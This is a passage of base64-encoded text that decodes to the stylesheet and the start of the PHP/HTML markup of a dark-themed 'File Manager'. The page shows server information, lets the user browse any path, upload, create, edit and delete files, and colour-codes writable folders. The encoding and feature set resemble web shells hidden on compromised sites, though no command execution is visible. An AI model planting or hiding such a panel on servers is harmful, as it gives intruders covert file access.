WluZXIgewogICAgICAgICAgICBtYXgtd2lkdGg6IDE0MDBweDsKICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxYTFhMWE7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEycHg7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMTBweCA0MHB4IHJnYmEoMCwwLDAsMC44KTsKICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzJhMmEyYTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmhlYWRlciB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsICMxZTNjNzIgMCUsICMyYTUyOTggMTAwJSk7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgcGFkZGluZzogMjVweDsKICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMnB4IHNvbGlkICMzYTNhM2E7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5oZWFkZXIgaDEgewogICAgICAgICAgICBmb250LXNpemU6IDI2cHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgICAgICAgIGdhcDogMTBweDsKICAgICAgICAgICAgdGV4dC1zaGFkb3c6IDJweCAycHggNHB4IHJnYmEoMCwwLDAsMC41KTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnN5cy1pbmZvIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgZ2FwOiAyMHB4OwogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7CiAgICAgICAgICAgIG9wYWNpdHk6IDAuOTsKICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuc3lzLWluZm8gc3BhbiB7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgICAgICAgIGdhcDogNXB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuMyk7CiAgICAgICAgICAgIHBhZGRpbmc6IDRweCAxMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5uYXYgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjUyNTI1OwogICAgICAgICAgICBwYWRkaW5nOiAxNXB4IDI1cHg7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjM2EzYTNhOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAucGF0aC1iYXIgewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBnYXA6IDEwcHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5wYXRoLWJhciBpbnB1dCB7CiAgICAgICAgICAgIGZsZXg6IDE7CiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMTVweDsKICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWExYTsKICAgICAgICAgICAgYm9yZGVyOiAycHggc29saWQgIzNhM2EzYTsKICAgICAgICAgICAgY29sb3I6ICNlMGUwZTA7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsKICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgICAgICB0cmFuc2l0aW9uOiBib3JkZXItY29sb3IgMC4zczsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnBhdGgtYmFyIGlucHV0OmZvY3VzIHsKICAgICAgICAgICAgb3V0bGluZTogbm9uZTsKICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNGE5ZWZmOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjIyOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuYnRuIHsKICAgICAgICAgICAgcGFkZGluZzogMTBweCAyMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjNGE5ZWZmIDAlLCAjMmE1Mjk4IDEwMCUpOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4OwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsKICAgICAgICAgICAgdHJhbnNpdGlvbjogdHJhbnNmb3JtIDAuMnMsIGJveC1zaGFkb3cgMC4yczsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmJ0bjpob3ZlciB7CiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMnB4KTsKICAgICAgICAgICAgYm94LXNoYWRvdzogMCA1cHggMTVweCByZ2JhKDc0LCAxNTgsIDI1NSwgMC40KTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmJ0bi1zdWNjZXNzIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgIzAwYjA5YiAwJSwgIzk2YzkzZCAxMDAlKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmJ0bi1kYW5nZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjZmY0MTZjIDAlLCAjZmY0YjJiIDEwMCUpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuYnRuLXNtYWxsIHsKICAgICAgICAgICAgcGFkZGluZzogNXB4IDEycHg7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnRvb2xzIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgZ2FwOiAxNXB4OwogICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC50b29sLWdyb3VwIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAgZ2FwOiAxMHB4OwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDE1cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxYTFhMWE7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzNhM2EzYTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnRvb2wtZ3JvdXAgbGFiZWwgewogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7CiAgICAgICAgICAgIGNvbG9yOiAjYTBhMGEwOwogICAgICAgICAgICBmb250LXdlaWdodDogNTAwOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAudG9vbC1ncm91cCBpbnB1dFt0eXBlPSJmaWxlIl0sCiAgICAgICAgLnRvb2wtZ3JvdXAgaW5wdXRbdHlwZT0idGV4dCJdIHsKICAgICAgICAgICAgcGFkZGluZzogNXB4IDEwcHg7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMyNTI1MjU7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMzYTNhM2E7CiAgICAgICAgICAgIGNvbG9yOiAjZTBlMGUwOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmNvbnRlbnQgewogICAgICAgICAgICBwYWRkaW5nOiAyNXB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMWExYTFhOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAubm90aWZpY2F0aW9uIHsKICAgICAgICAgICAgcGFkZGluZzogMTJweCAyMHB4OwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAyMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgICAgICAgYW5pbWF0aW9uOiBzbGlkZUluIDAuM3MgZWFzZTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLm5vdGlmaWNhdGlvbi5zdWNjZXNzIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgwLCAyNTUsIDAsIDAuMSk7CiAgICAgICAgICAgIGNvbG9yOiAjMDBmZjAwOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDAsIDI1NSwgMCwgMC4zKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLm5vdGlmaWNhdGlvbi5lcnJvciB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMjU1LCA2NSwgMTA4LCAwLjEpOwogICAgICAgICAgICBjb2xvcjogI2ZmNDE2YzsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgcmdiYSgyNTUsIDY1LCAxMDgsIDAuMyk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIEBrZXlmcmFtZXMgc2xpZGVJbiB7CiAgICAgICAgICAgIGZyb20geyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTIwcHgpOyBvcGFjaXR5OiAwOyB9CiAgICAgICAgICAgIHRvIHsgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDApOyBvcGFjaXR5OiAxOyB9CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5maWxlLXRhYmxlIHsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMyNTI1MjU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDhweDsKICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAycHggMTBweCByZ2JhKDAsMCwwLDAuNSk7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMzYTNhM2E7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5maWxlLXRhYmxlIHRoZWFkIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWExYTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmZpbGUtdGFibGUgdGggewogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OwogICAgICAgICAgICB0ZXh0LWFsaWduOiBsZWZ0OwogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICAgICAgICAgIGNvbG9yOiAjNGE5ZWZmOwogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOwogICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogMC41cHg7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjM2EzYTNhOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZmlsZS10YWJsZSB0ZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDEycHggMTVweDsKICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMyYTJhMmE7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgICAgICAgY29sb3I6ICNlMGUwZTA7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5maWxlLXRhYmxlIHRib2R5IHRyIHsKICAgICAgICAgICAgdHJhbnNpdGlvbjogYmFja2dyb3VuZCAwLjJzOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZmlsZS10YWJsZSB0Ym9keSB0cjpob3ZlciB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMyYTJhMmE7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5maWxlLXRhYmxlIHRib2R5IHRyLmZvbGRlci1yb3cgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDc0LCAxNTgsIDI1NSwgMC4wNSk7CiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAzcHggc29saWQgIzRhOWVmZjsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmZpbGUtdGFibGUgdGJvZHkgdHIuZm9sZGVyLXJvdzpob3ZlciB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoNzQsIDE1OCwgMjU1LCAwLjEpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZmlsZS10YWJsZSBhIHsKICAgICAgICAgICAgY29sb3I6ICM0YTllZmY7CiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsKICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWZsZXg7CiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgICAgICAgIGdhcDogOHB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZmlsZS10YWJsZSBhOmhvdmVyIHsKICAgICAgICAgICAgY29sb3I6ICM2YWI3ZmY7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5maWxlLWljb24gewogICAgICAgICAgICB3aWR0aDogMjBweDsKICAgICAgICAgICAgaGVpZ2h0OiAyMHB4OwogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtZmxleDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5maWxlLWFjdGlvbnMgewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBnYXA6IDhweDsKICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZmlsZS1hY3Rpb25zIGEgewogICAgICAgICAgICBwYWRkaW5nOiA0cHggMTBweDsKICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSg3NCwgMTU4LCAyNTUsIDAuMik7CiAgICAgICAgICAgIGNvbG9yOiAjNGE5ZWZmOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDc0LCAxNTgsIDI1NSwgMC4zKTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICAgICAgICBmb250LXNpemU6IDEycHg7CiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjJzOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZmlsZS1hY3Rpb25zIGE6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDc0LCAxNTgsIDI1NSwgMC4zKTsKICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNGE5ZWZmOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZmlsZS1hY3Rpb25zIGEuZGVsZXRlIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDY1LCAxMDgsIDAuMik7CiAgICAgICAgICAgIGNvbG9yOiAjZmY0MTZjOwogICAgICAgICAgICBib3JkZXItY29sb3I6IHJnYmEoMjU1LCA2NSwgMTA4LCAwLjMpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZmlsZS1hY3Rpb25zIGEuZGVsZXRlOmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDY1LCAxMDgsIDAuMyk7CiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2ZmNDE2YzsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLyogUGVybWlzc2lvbi1iYXNlZCBjb2xvcnMgKi8KICAgICAgICAucGVybS13cml0YWJsZSB7CiAgICAgICAgICAgIGNvbG9yOiAjMDBmZjAwICFpbXBvcnRhbnQ7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICAgICAgICAgIHRleHQtc2hhZG93OiAwIDAgNXB4IHJnYmEoMCwgMjU1LCAwLCAwLjUpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAucGVybS1yZWFkb25seSB7CiAgICAgICAgICAgIGNvbG9yOiAjZmY0NDQ0ICFpbXBvcnRhbnQ7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICAgICAgICAgIHRleHQtc2hhZG93OiAwIDAgNXB4IHJnYmEoMjU1LCA2OCwgNjgsIDAuNSk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5wZXJtLWluZGljYXRvciB7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsKICAgICAgICAgICAgd2lkdGg6IDhweDsKICAgICAgICAgICAgaGVpZ2h0OiA4cHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwJTsKICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiA1cHg7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5wZXJtLWluZGljYXRvci53cml0YWJsZSB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMGZmMDA7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMCA1cHggIzAwZmYwMDsKICAgICAgICAgICAgYW5pbWF0aW9uOiBwdWxzZS1ncmVlbiAycyBpbmZpbml0ZTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnBlcm0taW5kaWNhdG9yLnJlYWRvbmx5IHsKICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZmNDQ0NDsKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAwIDVweCAjZmY0NDQ0OwogICAgICAgICAgICBhbmltYXRpb246IHB1bHNlLXJlZCAycyBpbmZpbml0ZTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgQGtleWZyYW1lcyBwdWxzZS1ncmVlbiB7CiAgICAgICAgICAgIDAlLCAxMDAlIHsgb3BhY2l0eTogMTsgfQogICAgICAgICAgICA1MCUgeyBvcGFjaXR5OiAwLjU7IH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgQGtleWZyYW1lcyBwdWxzZS1yZWQgewogICAgICAgICAgICAwJSwgMTAwJSB7IG9wYWNpdHk6IDE7IH0KICAgICAgICAgICAgNTAlIHsgb3BhY2l0eTogMC41OyB9CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5lZGl0LWFyZWEgewogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgbWluLWhlaWdodDogNDAwcHg7CiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwYTBhMGE7CiAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkICMzYTNhM2E7CiAgICAgICAgICAgIGNvbG9yOiAjMDBmZjAwOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnQ291cmllciBOZXcnLCBtb25vc3BhY2U7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNTsKICAgICAgICAgICAgcmVzaXplOiB2ZXJ0aWNhbDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmVkaXQtYXJlYTpmb2N1cyB7CiAgICAgICAgICAgIG91dGxpbmU6IG5vbmU7CiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzRhOWVmZjsKICAgICAgICAgICAgYmFja2dyb3VuZDogIzExMTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLm1vZGFsIHsKICAgICAgICAgICAgZGlzcGxheTogbm9uZTsKICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOwogICAgICAgICAgICB0b3A6IDA7CiAgICAgICAgICAgIGxlZnQ6IDA7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBoZWlnaHQ6IDEwMCU7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMCwwLDAsMC44KTsKICAgICAgICAgICAgei1pbmRleDogMTAwMDsKICAgICAgICAgICAgYW5pbWF0aW9uOiBmYWRlSW4gMC4zcyBlYXNlOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAubW9kYWwuYWN0aXZlIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIEBrZXlmcmFtZXMgZmFkZUluIHsKICAgICAgICAgICAgZnJvbSB7IG9wYWNpdHk6IDA7IH0KICAgICAgICAgICAgdG8geyBvcGFjaXR5OiAxOyB9CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5tb2RhbC1jb250ZW50IHsKICAgICAgICAgICAgYmFja2dyb3VuZDogIzI1MjUyNTsKICAgICAgICAgICAgcGFkZGluZzogMzBweDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTJweDsKICAgICAgICAgICAgd2lkdGg6IDkwJTsKICAgICAgICAgICAgbWF4LXdpZHRoOiA1MDBweDsKICAgICAgICAgICAgYW5pbWF0aW9uOiBzbGlkZVVwIDAuM3MgZWFzZTsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzNhM2EzYTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgQGtleWZyYW1lcyBzbGlkZVVwIHsKICAgICAgICAgICAgZnJvbSB7IHRyYW5zZm9ybTogdHJhbnNsYXRlWSg1MHB4KTsgb3BhY2l0eTogMDsgfQogICAgICAgICAgICB0byB7IHRyYW5zZm9ybTogdHJhbnNsYXRlWSgwKTsgb3BhY2l0eTogMTsgfQogICAgICAgIH0KICAgICAgICAKICAgICAgICAubW9kYWwtaGVhZGVyIHsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDsKICAgICAgICAgICAgZm9udC1zaXplOiAyMHB4OwogICAgICAgICAgICBmb250LXdlaWdodDogNjAwOwogICAgICAgICAgICBjb2xvcjogIzRhOWVmZjsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLm1vZGFsLWJvZHkgaW5wdXQsCiAgICAgICAgLm1vZGFsLWJvZHkgdGV4dGFyZWEgewogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTVweDsKICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWExYTsKICAgICAgICAgICAgYm9yZGVyOiAycHggc29saWQgIzNhM2EzYTsKICAgICAgICAgICAgY29sb3I6ICNlMGUwZTA7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsKICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAubW9kYWwtYm9keSB0ZXh0YXJlYSB7CiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDE1MHB4OwogICAgICAgICAgICByZXNpemU6IHZlcnRpY2FsOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAubW9kYWwtZm9vdGVyIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgZ2FwOiAxMHB4OwogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZW1wdHkgewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIHBhZGRpbmc6IDQwcHg7CiAgICAgICAgICAgIGNvbG9yOiAjNjY2OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuc2VwYXJhdG9yLXJvdyB0ZCB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxYTFhMWE7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweCAxNXB4ICFpbXBvcnRhbnQ7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICAgICAgICAgIGNvbG9yOiAjNGE5ZWZmOwogICAgICAgICAgICBib3JkZXItdG9wOiAycHggc29saWQgIzNhM2EzYSAhaW1wb3J0YW50OwogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQgIzNhM2EzYSAhaW1wb3J0YW50OwogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOwogICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogMXB4OwogICAgICAgICAgICBmb250LXNpemU6IDEycHg7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgewogICAgICAgICAgICAudG9vbHMgewogICAgICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgLmZpbGUtdGFibGUgewogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4OwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAuZmlsZS1hY3Rpb25zIHsKICAgICAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIC5zeXMtaW5mbyB7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDExcHg7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXIiPgogICAgICAgICAgICA8aDE+8J+TgSBGaWxlIE1hbmFnZXIgLSBEYXJrIEVkaXRpb248L2gxPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzeXMtaW5mbyI+CiAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoKCRzZXJ2ZXJJbmZvIGFzICRrZXkgPT4gJHZhbHVlKTogPz4KICAgICAgICAgICAgICAgIDxzcGFuPjxzdHJvbmc+PD9waHAgZWNobyAka2V5OyA/Pjo8L3N0cm9uZz4gPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7ID8+PC9zcGFuPgogICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgCiAgICAgICAgPD9waHAgaWYoJG5vdGlmaWNhdGlvbik6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0ibm90aWZpY2F0aW9uIDw/cGhwIGVjaG8gJG5vdGlmaWNhdGlvblsndHlwZSddOyA/PiI+CiAgICAgICAgICAgIDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbm90aWZpY2F0aW9uWyd0ZXh0J10pOyA/PgogICAgICAgIDwvZGl2PgogICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgIAogICAgICAgIDxkaXYgY2xhc3M9Im5hdiI+CiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iZ2V0IiBjbGFzcz0icGF0aC1iYXIiPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGN1cnJlbnRQYXRoKTsgPz4iIHBsYWNlaG9sZGVyPSJFbnRlciBwYXRoLi4uIj4KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIj5OYXZpZ2F0ZTwvYnV0dG9uPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIAogICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0b29scyI+CiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGNsYXNzPSJ0b29sLWdyb3VwIiBhY3Rpb249Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50UGF0aCk7ID8+Ij4KICAgICAgICAgICAgICAgICAgICA8bGFiZWw+VXBsb2FkOjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZCIgcmVxdWlyZWQ+CiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1zdWNjZXNzIj5VcGxvYWQ8L2J1dHRvbj4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idG9vbC1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJzaG93TmV3RmlsZU1vZGFsKCkiIGNsYXNzPSJidG4gYnRuLXNtYWxsIj5OZXcgRmlsZTwvYnV0dG9uPgogICAgI